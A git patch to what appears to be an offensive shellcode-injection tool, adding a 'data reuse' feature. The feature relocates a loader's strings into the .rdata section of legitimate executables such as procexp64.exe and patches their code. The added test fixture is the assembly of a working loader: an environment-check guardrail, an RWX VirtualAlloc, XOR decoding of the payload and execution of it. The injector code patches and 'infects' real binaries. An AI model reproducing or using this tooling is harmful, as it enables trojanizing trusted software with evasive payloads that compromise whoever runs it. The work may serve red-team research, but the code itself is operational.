From 2c133e717540c4b3e313a9e28069eecd05b41eef Mon Sep 17 00:00:00 2001 From: Dobin Date: Sat, 24 Feb 2024 16:23:08 +0000 Subject: [PATCH] feature: data reuse (tmp, to fix) --- config.py | 6 +- model.py | 18 +++ pehelper.py | 9 ++ phases/compiler.py | 15 +- phases/datareuse.py | 100 +++++++++++- phases/injector.py | 62 ++++++++ source/iat_reuse/template.c | 6 +- supermega.py | 38 ++++- tests/data/data_reuse_pre_fixup.asm.test | 190 +++++++++++++++++++++++ tests/test_datareuse.py | 37 ++++- 10 files changed, 472 insertions(+), 9 deletions(-) create mode 100644 tests/data/data_reuse_pre_fixup.asm.test diff --git a/config.py b/config.py index de9668b..9880725 100644 --- a/config.py +++ b/config.py @@ -8,8 +8,12 @@ class Config(object): def __init__(self): self.data = {} self.ShowCommandOutput: bool = False - self.debug: bool = False + self.debug: bool = True + self.xor_key: int = 0x31 + self.data_fixups = None + self.data_fixup_entries = None + def getConfigPath(self): return CONFIG_FILE diff --git a/model.py b/model.py index 232ca7d..16e54bc 100644 --- a/model.py +++ b/model.py @@ -21,6 +21,18 @@ class IatResolve(): self.id ) +def get_physical_address(pe, virtual_address): + # Iterate through the section headers to find which section contains the VA + for section in pe.sections: + # Check if the VA is within the range of this section + if section.VirtualAddress <= virtual_address < section.VirtualAddress + section.Misc_VirtualSize: + # Calculate the difference between the VA and the section's virtual address + virtual_offset = virtual_address - section.VirtualAddress + # Add the difference to the section's pointer to raw data + return virtual_offset + #physical_address = section.PointerToRawData + virtual_offset + #return physical_address + return None class ExeInfo(): def __init__(self): @@ -36,6 +48,9 @@ class ExeInfo(): self.base_relocs = [] self.rwx_section = None + self.ep = None + self.ep_raw = None + def add_iat_resolve(self, func_name, placeholder): self.iat_resolves[func_name] = IatResolve( @@ -49,6 +64,9 @@ class ExeInfo(): if pe.FILE_HEADER.Machine != 0x8664: raise Exception("Binary is not 64bit: {}".format(filepath)) + self.ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint + self.ep_raw = get_physical_address(pe, self.ep) + # image base self.image_base = pe.OPTIONAL_HEADER.ImageBase diff --git a/pehelper.py b/pehelper.py index 0749019..61becd0 100644 --- a/pehelper.py +++ b/pehelper.py @@ -54,6 +54,15 @@ def get_rwx_section(pe: pefile.PE) -> pefile.SectionStructure: # keystone/capstone stuff +def assemble_lea(current_address: int, destination_address: int, reg: str) -> bytes: + print("LEAH: 0x{:X} - 0x{:X} = 0x{:X}".format( + current_address, destination_address, destination_address - current_address)) + offset = destination_address - current_address + ks = Ks(KS_ARCH_X86, KS_MODE_64) + encoding, _ = ks.asm(f"lea {reg}, qword ptr ds:[{offset}]") + machine_code = bytes(encoding) + return machine_code + def assemble_and_disassemble_jump(current_address: int, destination_address: int) -> bytes: #logger.info(" Make jmp from 0x{:X} to 0x{:X}".format( # current_address, destination_address diff --git a/phases/compiler.py b/phases/compiler.py index 7b5a77c..23ef854 100644 --- a/phases/compiler.py +++ b/phases/compiler.py @@ -8,6 +8,7 @@ from config import config from observer import observer from model import * from phases.masmshc import process_file, Params +from phases.datareuse import * logger = logging.getLogger("Compiler") use_templates = True @@ -35,6 +36,15 @@ def compile( file_to_lf(asm_out) observer.add_text("carrier_asm_orig", file_readall_text(asm_out)) + # DataReuse first + asmFileParser = AsmFileParser(asm_out) + asmFileParser.init() + data_fixups = asmFileParser.fixup_data_reuse() + data_fixup_entries = asmFileParser.get_data_reuse_entries() + config.data_fixups = data_fixups + config.data_fixup_entries = data_fixup_entries + asmFileParser.write_lines_to(asm_out) + # Assembly text fixup (SuperMega) logger.info("---[ ASM Fixup : {} ".format(asm_out)) if not fixup_asm_file(asm_out, payload_len, short_call_patching=short_call_patching): @@ -47,7 +57,10 @@ def compile( asm_clean_file = asm_out + ".clean" logger.info("---[ ASM masm_shc: {} ".format(asm_out)) if True: - params = Params(asm_out, asm_clean_file, True, True, True) + params = Params(asm_out, asm_clean_file, + inline_strings=False, # not for DATA_REUSE + remove_crt=True, + append_rsp_stub=True) # required atm process_file(params) else: run_process_checkret([ diff --git a/phases/datareuse.py b/phases/datareuse.py index 9821485..c8bbef9 100644 --- a/phases/datareuse.py +++ b/phases/datareuse.py @@ -2,6 +2,7 @@ import sys import pefile from intervaltree import Interval, IntervalTree from typing import List +import os class PeSection(): @@ -22,6 +23,93 @@ class PeRelocation(): self.type: str = pefile.RELOCATION_TYPE[reloc.type][0] +def bytes_to_asm_db(byte_data: bytes) -> bytes: + # Convert each byte to a string in hexadecimal format + # prefixed with '0' and suffixed with 'h' + hex_values = [f"0{byte:02x}H" for byte in byte_data] + formatted_string = ', '.join(hex_values) + return "\tDB " + formatted_string + + +class AsmFileParser(): + def __init__(self, filepath): + self.filepath = filepath + self.lines = [] + + + def init(self): + with open(self.filepath, "r") as f: + self.lines = f.readlines() + self.lines = [line.rstrip() for line in self.lines] + + + def fixup_data_reuse(self): + fixups = [] + # lea rcx, OFFSET FLAT:$SG72513 + for idx, line in enumerate(self.lines): + if "OFFSET FLAT:$SG" in line: + string_ref = line.split("OFFSET FLAT:")[1] + register = line.split("lea\t")[1].split(",")[0] + randbytes: bytes = os.urandom(7) # lea is 7 bytes + fixups.append({ + "string_ref": string_ref, + "register": register, + "randbytes": randbytes, + }) + self.lines[idx] = bytes_to_asm_db(randbytes) + " ; .rdata Reuse for {} ({})".format( + string_ref, register) + return fixups + + + def get_data_reuse_entries(self) -> List[str]: + entries = {} + current_entry_name = "" + + for line in self.lines: + # $SG72513 DB 'U', 00H, 'S', 00H, 'E', 00H, 'R', 00H, 'P', 00H, 'R', 00H + # DB 'O', 00H, 'F', 00H, 'I', 00H, 'L', 00H, 'E', 00H, 00H, 00H + if line.startswith("$SG"): + parts = line.split() + name = parts[0] + current_entry_name = name + value = b'' + for part in parts: + if part.startswith('\''): + value += str.encode(part.split('\'')[1]) + elif part.endswith('H') or part.endswith('H,'): + hex = part.split('H')[0] + value += bytes.fromhex(hex) + entries[name] = value + + elif line.startswith("\tDB"): + if current_entry_name == "": + continue + value = b'' + parts = line.split() + for part in parts: + if part.startswith('\''): + value += str.encode(part.split('\'')[1]) + elif part.endswith('H') or part.endswith('H,'): + hex = part.split('H')[0] + if len(hex) == 3: + hex = hex.lstrip('0') + #print("--> {}".format(line)) + #print("---> {}".format(hex)) + value += bytes.fromhex(hex) + + entries[current_entry_name] += value + else: + current_entry_name = "" + + return entries + + + def write_lines_to(self, filename): + with open(filename, 'w',) as asmfile: + for line in self.lines: + asmfile.write(line + "\n") + + class DataReuser(): def __init__(self, filepath): self.pe = pefile.PE(filepath) @@ -40,6 +128,8 @@ class DataReuser(): for entry in base_reloc.entries: self.base_relocs.append(PeRelocation(entry)) + #self.pe.close() + def get_section_by_name(self, name: str) -> PeSection: for section in self.pe_sections: @@ -59,13 +149,21 @@ class DataReuser(): return [] return [reloc for reloc in self.base_relocs if reloc.base_rva == section.virt_addr] - + def get_reloc_largest_gap(self, section_name=".rdata"): tree = IntervalTree() section = self.get_section_by_name(section_name) + #print("MOTHERFUCKER: {}".format(section)) + #print("MOTHERFUCKER: {}".format(self.base_relocs)) + print("-- Relocations: {}".format(len(self.base_relocs))) + print("-- section: 0x{:x}".format(section.virt_addr)) + for reloc in self.base_relocs: + #print("FUCK: 0x{:x} 0x{:x}".format(reloc.base_rva, section.virt_addr)) + if reloc.base_rva == section.virt_addr: + print("Adding reloc: {} {}".format(reloc.offset, reloc.offset + 8)) tree.add(Interval(reloc.offset, reloc.offset + 8)) tree.add(Interval(section.virt_size, section.virt_size + 1)) diff --git a/phases/injector.py b/phases/injector.py index 784be0d..c68709f 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -10,6 +10,8 @@ from model import * from observer import observer from helper import rbrunmode_str from derbackdoorer.derbackdoorer import PeBackdoor +from phases.datareuse import DataReuser + logger = logging.getLogger("Injector") @@ -65,6 +67,7 @@ def injected_fix_iat(exe_out: FilePath, exe_info: ExeInfo): off = code.index(cap.id) current_address = off + exe_info.image_base + exe_info.code_virtaddr + #current_address += 2 destination_address = cap.addr logger.info(" Replace at 0x{:x} with call to 0x{:x}".format( current_address, destination_address @@ -78,6 +81,65 @@ def injected_fix_iat(exe_out: FilePath, exe_info: ExeInfo): write_code_section(exe_file=exe_out, new_data=code) +def injected_fix_data(exe_path, data_fixups, data_fixup_entries, exe_info): + data_reuser = DataReuser(exe_path) + data_reuser.init() + #ret = data_reuser.get_reloc_largest_gap(".rdata") + #size = ret[0] + #start = ret[1] + #stop = ret[2] + #print("GAP: {} {} {}".format(size, start, stop)) + #addr = start + + # Insert my data into the .rdata section + sect = data_reuser.get_section_by_name(".rdata") + addr = sect.raw_addr + 0x1AB0 #+ 0x1000 + #addr += 0x100 + #addr = 0 + print("Write into .data:".format()) + data_reuser.pe.close() + + with open(exe_path, "r+b") as f: + for fixup in data_fixups: + var_data = data_fixup_entries[fixup["string_ref"]] + + print(" Addr: {} / 0x{:X} Data: {}".format( + addr, addr, len(var_data))) + + # Overwrite data in the .rdata section with ours + #data_reuser.pe.set_bytes_at_offset(addr, var_data) + f.seek(addr) + f.write(var_data) + #f.write(b"AAAAAAAAAAAAAAAAAAAAAAAAAAA") + print("ADD: 0x{:X} 0x{:X} 0x{:X}".format(addr, sect.virt_addr, exe_info.image_base)) + fixup["addr"] = addr + sect.virt_addr + exe_info.image_base - sect.raw_addr + addr += len(var_data) + 8 + #data_reuser.pe.write(exe_path + ".tmp") + #data_reuser.pe.close() + #shutil.move(exe_path + ".tmp", exe_path) + + # patch code section + code = extract_code_from_exe(exe_path) + for fixup in data_fixups: + if not fixup["randbytes"] in code: + raise Exception("DataResuse: ID {} not found, abort".format(fixup["randbytes"])) + + off = code.index(fixup["randbytes"]) + current_address = off + exe_info.image_base + exe_info.code_virtaddr + destination_address = fixup["addr"] + logger.info(" Replace at 0x{:x} with call to 0x{:x}".format( + current_address, destination_address + )) + lea = assemble_lea( + current_address, destination_address, fixup["register"] + ) + code = code.replace(fixup["randbytes"], lea) + + # write back our patched code into the exe + write_code_section(exe_file=exe_path, new_data=code) + + + def verify_injected_exe(exefile: FilePath) -> int: logger.info("---[ Verify infected exe: {} ".format(exefile)) # remove indicator file diff --git a/source/iat_reuse/template.c b/source/iat_reuse/template.c index c691498..a4e050b 100644 --- a/source/iat_reuse/template.c +++ b/source/iat_reuse/template.c @@ -5,8 +5,10 @@ char *supermega_payload; int main() { // Execution Guardrail: Env Check - wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0}; - wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker" + //wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0}; + //wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker" + wchar_t envVarName[] = L"USERPROFILE"; + wchar_t tocheck[] = L"C:\\Users\\hacker"; WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024); if (result == 0) { diff --git a/supermega.py b/supermega.py index 8293f48..7c04c19 100644 --- a/supermega.py +++ b/supermega.py @@ -16,7 +16,7 @@ import phases.assembler import phases.injector from observer import observer from project import Project - +from pehelper import extract_code_from_exe log_messages = [] @@ -60,7 +60,7 @@ def main(): project.inject_exe_out = "out/7z-verify.exe" elif args.verify == "iat": project.inject = True - project.inject_mode = 2 + project.inject_mode = 1 # 2 project.inject_exe_in = "exes/procexp64.exe" project.inject_exe_out = "out/procexp64-verify.exe" elif args.verify == "rwx": @@ -124,6 +124,18 @@ def main(): start(project) +def get_physical_address(pe, virtual_address): + # Iterate through the section headers to find which section contains the VA + for section in pe.sections: + # Check if the VA is within the range of this section + if section.VirtualAddress <= virtual_address < section.VirtualAddress + section.Misc_VirtualSize: + # Calculate the difference between the VA and the section's virtual address + virtual_offset = virtual_address - section.VirtualAddress + # Add the difference to the section's pointer to raw data + return virtual_offset + #physical_address = section.PointerToRawData + virtual_offset + #return physical_address + return None def start(project: Project): # Delete: all old files @@ -239,7 +251,27 @@ def start(project: Project): inject_mode = project.inject_mode, ) if project.source_style == SourceStyle.iat_reuse: - phases.injector.injected_fix_iat(project.inject_exe_out, project.exe_info) + phases.injector.injected_fix_iat( + project.inject_exe_out, project.exe_info) + + # TODO IF? + phases.injector.injected_fix_data( + project.inject_exe_out, + config.data_fixups, + config.data_fixup_entries, + project.exe_info) + + code = extract_code_from_exe(project.inject_exe_out) + pe = pefile.PE(project.inject_exe_out) + ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint + ep_raw = get_physical_address(pe, ep) + pe.close() + + print("Raw: {} / 0x{:x}".format( + ep_raw, ep_raw)) + observer.add_code("exe_fucking_final", + code[ep_raw:ep_raw+300]) + if project.verify: logger.info("--[ Verify infected exe") diff --git a/tests/data/data_reuse_pre_fixup.asm.test b/tests/data/data_reuse_pre_fixup.asm.test new file mode 100644 index 0000000..26d101e --- /dev/null +++ b/tests/data/data_reuse_pre_fixup.asm.test @@ -0,0 +1,190 @@ +; Listing generated by Microsoft (R) Optimizing Compiler Version 19.37.32822.0 + +include listing.inc + +INCLUDELIB LIBCMT +INCLUDELIB OLDNAMES + +_DATA SEGMENT +COMM supermega_payload:QWORD +_DATA ENDS +PUBLIC main +PUBLIC mystrcmp +EXTRN __imp_GetEnvironmentVariableW:PROC +EXTRN __imp_VirtualAlloc:PROC +pdata SEGMENT +$pdata$main DD imagerel $LN8 + DD imagerel $LN8+266 + DD imagerel $unwind$main +$pdata$mystrcmp DD imagerel $LN6 + DD imagerel $LN6+109 + DD imagerel $unwind$mystrcmp +pdata ENDS +_DATA SEGMENT +$SG72513 DB 'U', 00H, 'S', 00H, 'E', 00H, 'R', 00H, 'P', 00H, 'R', 00H + DB 'O', 00H, 'F', 00H, 'I', 00H, 'L', 00H, 'E', 00H, 00H, 00H +$SG72514 DB 'C', 00H, ':', 00H, '\', 00H, 'U', 00H, 's', 00H, 'e', 00H + DB 'r', 00H, 's', 00H, '\', 00H, 'h', 00H, 'a', 00H, 'c', 00H, 'k' + DB 00H, 'e', 00H, 'r', 00H, 00H, 00H +_DATA ENDS +xdata SEGMENT +$unwind$main DD 040a01H + DD 010f010aH + DD 060027003H +$unwind$mystrcmp DD 010e01H + DD 0220eH +xdata ENDS +; Function compile flags: /Odtp +_TEXT SEGMENT +i$ = 0 +str1$ = 32 +str2$ = 40 +mystrcmp PROC +; File C:\Users\hacker\source\repos\supermega\build\main.c +; Line 40 +$LN6: + mov QWORD PTR [rsp+16], rdx + mov QWORD PTR [rsp+8], rcx + sub rsp, 24 +; Line 41 + mov DWORD PTR i$[rsp], 0 +$LN2@mystrcmp: +; Line 42 + movsxd rax, DWORD PTR i$[rsp] + mov rcx, QWORD PTR str1$[rsp] + movzx eax, WORD PTR [rcx+rax*2] + test eax, eax + je SHORT $LN3@mystrcmp + movsxd rax, DWORD PTR i$[rsp] + mov rcx, QWORD PTR str2$[rsp] + movzx eax, WORD PTR [rcx+rax*2] + test eax, eax + je SHORT $LN3@mystrcmp +; Line 43 + movsxd rax, DWORD PTR i$[rsp] + mov rcx, QWORD PTR str1$[rsp] + movzx eax, WORD PTR [rcx+rax*2] + movsxd rcx, DWORD PTR i$[rsp] + mov rdx, QWORD PTR str2$[rsp] + movzx ecx, WORD PTR [rdx+rcx*2] + cmp eax, ecx + je SHORT $LN4@mystrcmp +; Line 44 + mov eax, 1 + jmp SHORT $LN1@mystrcmp +$LN4@mystrcmp: +; Line 46 + mov eax, DWORD PTR i$[rsp] + inc eax + mov DWORD PTR i$[rsp], eax +; Line 47 + jmp SHORT $LN2@mystrcmp +$LN3@mystrcmp: +; Line 48 + xor eax, eax +$LN1@mystrcmp: +; Line 49 + add rsp, 24 + ret 0 +mystrcmp ENDP +_TEXT ENDS +; Function compile flags: /Odtp +_TEXT SEGMENT +n$1 = 32 +dest$ = 40 +result$ = 48 +envVarName$ = 56 +tocheck$ = 80 +buffer$ = 112 +main PROC +; File C:\Users\hacker\source\repos\supermega\build\main.c +; Line 6 +$LN8: + push rsi + push rdi + sub rsp, 2168 ; 00000878H +; Line 10 + lea rax, QWORD PTR envVarName$[rsp] + DB 0b1H, 070H, 04bH, 02fH, 095H ; .rdata Reuse for $SG72513 (rcx) + mov rdi, rax + mov rsi, rcx + mov ecx, 24 + rep movsb +; Line 11 + lea rax, QWORD PTR tocheck$[rsp] + DB 0eeH, 0c0H, 0a1H, 044H, 0d6H ; .rdata Reuse for $SG72514 (rcx) + mov rdi, rax + mov rsi, rcx + mov ecx, 32 ; 00000020H + rep movsb +; Line 13 + mov r8d, 1024 ; 00000400H + lea rdx, QWORD PTR buffer$[rsp] + lea rcx, QWORD PTR envVarName$[rsp] + call QWORD PTR __imp_GetEnvironmentVariableW + mov DWORD PTR result$[rsp], eax +; Line 14 + cmp DWORD PTR result$[rsp], 0 + jne SHORT $LN5@main +; Line 15 + mov eax, 6 + jmp $LN1@main +$LN5@main: +; Line 17 + lea rdx, QWORD PTR tocheck$[rsp] + lea rcx, QWORD PTR buffer$[rsp] + call mystrcmp + test eax, eax + je SHORT $LN6@main +; Line 18 + mov eax, 6 + jmp SHORT $LN1@main +$LN6@main: +; Line 23 + mov r9d, 64 ; 00000040H + mov r8d, 12288 ; 00003000H + mov edx, 347 ; 0000015bH + xor ecx, ecx + call QWORD PTR __imp_VirtualAlloc + mov QWORD PTR dest$[rsp], rax +; Line 29 + mov DWORD PTR n$1[rsp], 0 + jmp SHORT $LN4@main +$LN2@main: + mov eax, DWORD PTR n$1[rsp] + inc eax + mov DWORD PTR n$1[rsp], eax +$LN4@main: + cmp DWORD PTR n$1[rsp], 347 ; 0000015bH + jge SHORT $LN3@main +; Line 30 + movsxd rax, DWORD PTR n$1[rsp] + movsxd rcx, DWORD PTR n$1[rsp] + mov rdx, QWORD PTR dest$[rsp] + mov rdi, QWORD PTR supermega_payload + movzx eax, BYTE PTR [rdi+rax] + mov BYTE PTR [rdx+rcx], al +; Line 31 + movsxd rax, DWORD PTR n$1[rsp] + mov rcx, QWORD PTR dest$[rsp] + movsx eax, BYTE PTR [rcx+rax] + xor eax, 49 ; 00000031H + movsxd rcx, DWORD PTR n$1[rsp] + mov rdx, QWORD PTR dest$[rsp] + mov BYTE PTR [rdx+rcx], al +; Line 32 + jmp SHORT $LN2@main +$LN3@main: +; Line 35 + call QWORD PTR dest$[rsp] +; Line 37 + xor eax, eax +$LN1@main: +; Line 38 + add rsp, 2168 ; 00000878H + pop rdi + pop rsi + ret 0 +main ENDP +_TEXT ENDS +END diff --git a/tests/test_datareuse.py b/tests/test_datareuse.py index fe332eb..0f310d2 100644 --- a/tests/test_datareuse.py +++ b/tests/test_datareuse.py @@ -11,7 +11,6 @@ from observer import observer from phases.datareuse import * - class DataReuseTest(unittest.TestCase): def test_relocation_list(self): data_reuser = DataReuser("exes/7z.exe") @@ -43,3 +42,39 @@ class DataReuseTest(unittest.TestCase): def test_asm_lea_create(self): pass + + def test_data_reuse_entries(self): + asm_in = "tests/data/data_reuse_pre_fixup.asm" + data_reuse_entries = [] + + asmFileParser = AsmFileParser(asm_in) + asmFileParser.init() + data_reuse_entries = asmFileParser.get_data_reuse_entries() + + self.assertEqual(2, len(data_reuse_entries)) + self.assertTrue('$SG72513' in data_reuse_entries) + self.assertTrue('$SG72514' in data_reuse_entries) + + self.assertEqual(data_reuse_entries['$SG72513'], b"U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00\x00\x00") + + + def test_data_reuse_fixup(self): + asm_in = "tests/data/data_reuse_pre_fixup.asm" + asm_out = asm_in + ".test" + asmFileParser = AsmFileParser(asm_in) + asmFileParser.init() + + data_fixups = asmFileParser.fixup_data_reuse() + self.assertEqual(2, len(data_fixups)) + fixup = data_fixups[0] + self.assertTrue(fixup["string_ref"], "rcx") + self.assertTrue(fixup["register"], "$SG72513") + self.assertEqual(5, len(fixup["randbytes"])) + + asmFileParser.write_lines_to(asm_out) + + with open(asm_out, "r") as f: + lines = f.readlines() + self.assertTrue("\tDB " in lines[108-1]) + self.assertFalse("OFFSET FLAT:$SG" in lines[108-1]) +